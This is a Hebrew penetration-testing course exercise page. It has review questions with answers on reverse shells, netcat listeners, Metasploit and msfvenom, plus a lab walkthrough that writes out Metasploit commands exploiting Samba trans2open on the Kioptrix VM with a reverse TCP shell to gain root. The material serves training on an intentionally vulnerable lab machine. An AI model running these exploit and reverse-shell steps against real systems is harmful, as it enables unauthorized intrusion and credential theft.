

# מודול 7 — ניצול והשגת גישה — תרגול

חומר לימוד

1 יחידות

## תוכן העניינים

1. 🧠 תרגול — מודול 7: ניצול והשגת גישה

# תרגול — מודול 7: ניצול והשגת גישה

חלק א' — שאלות תרגול (עם תשובות). חלק ב' — תרחיש מהחיים האמיתיים.

## חלק א' — שאלות תרגול

Q1. ב-Reverse Shell — מי יוזם את החיבור, ואצל מי ה-Listener?

Q2. למה Reverse Shell עוקף חומות אש טוב יותר מ-Bind Shell?

Q3. בשם Payload, מה מסמן / ומה מסמן \_ ?

Q4. מה עושה `nc -lvnp 4444` ? פרק כל דגל.

Q5. אילו שלושה פרמטרים חובה ב-Metasploit לפני `exploit` ?

Q6. איזה כלי יוצר Payload עצמאי (קובץ להעלאה ליעד)?

Q7. מהו Meterpreter, ומה יתרונו?

Q8. קיבלת Shell לא יציב שנופל. אילו שתי פעולות תנסה?

## תשובות

1. הקורבן יוזם את החיבור; ה-Listener אצל התוקף.
2. חומות אש מתירות תעבורה **יוצאת**; Reverse מנצל חיבור יוצא מהקורבן.
3. Staged = / (בשלבים); Non-Staged = \_ (מלא בבת אחת).
4. Listener: `-l` האזנה, `-v` פירוט, `-n` ללא DNS, `-p 4444` פורט.
5. RHOSTS (יעד), LHOST (התוקף), PAYLOAD.
6. **msfvenom**.
7. Shell משודרג של Metasploit, רץ בזיכרון (שקט), עם פקודות כמו `download / hashdump`.
8. להחליף Payload בין Staged ↔ Non-Staged; לייצב Shell (עם `stty /pty upgrade`).

## חלק ב' — תרחיש מהחיים האמיתיים

### 🔥 “מ-Recon ל-root על Kioptrix” (השרשרת המלאה)

זהו התרגול המרכזי — יישום מודולים 5 → 6 → 7 מקצה לקצה על **Kioptrix Level 1** במעבדה:

```
# פגיע Samba 2.2.1a: הנח שמודול 6 יש לך
msfconsole
search trans2open
use exploit/linux/samba/trans2open
show options
set RHOSTS <kioptrix-ip>
set LHOST <kali-ip>
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
# כשמתקבל Shell:
whoami      # root ?
id
```

→ **המשימה:** 1. השג Shell ואמת `whoami`. **צלם מסך** של `root`. 2. תעד את השרשרת המלאה: חולשה → Payload → Exploit → תוצאה (זהו PoC לדוח). 3. אם נכשל — נסה את הווקטור החלופי (`mod_ssl` OpenFuck, ניצול ידני מ-`searchsploit`).

### 💡 פתרון מנחה

```
## PoC – Kioptrix Level 1
Recon → Enum (Samba 2.2.1a) → searchsploit (trans2open/CVE-2003-0201)
→ Metasploit trans2open + reverse_tcp → root shell (uid=0)
```

**פתרון בעיות:** ודא `LHOST=IP` הנכון של Kali (`ip a`); ודא `ping` בין המכונות; החלף Payload אם אין Shell; קח Snapshot אם השירות קרס.

🎯 ראית `root` ? ביצעת בדיקת חדירות מלאה מקצה לקצה — הישג אמיתי. זהו הבסיס למבחן המעשי  
(./exam)

⬅ חזרה למודול · תרגילים מעשיים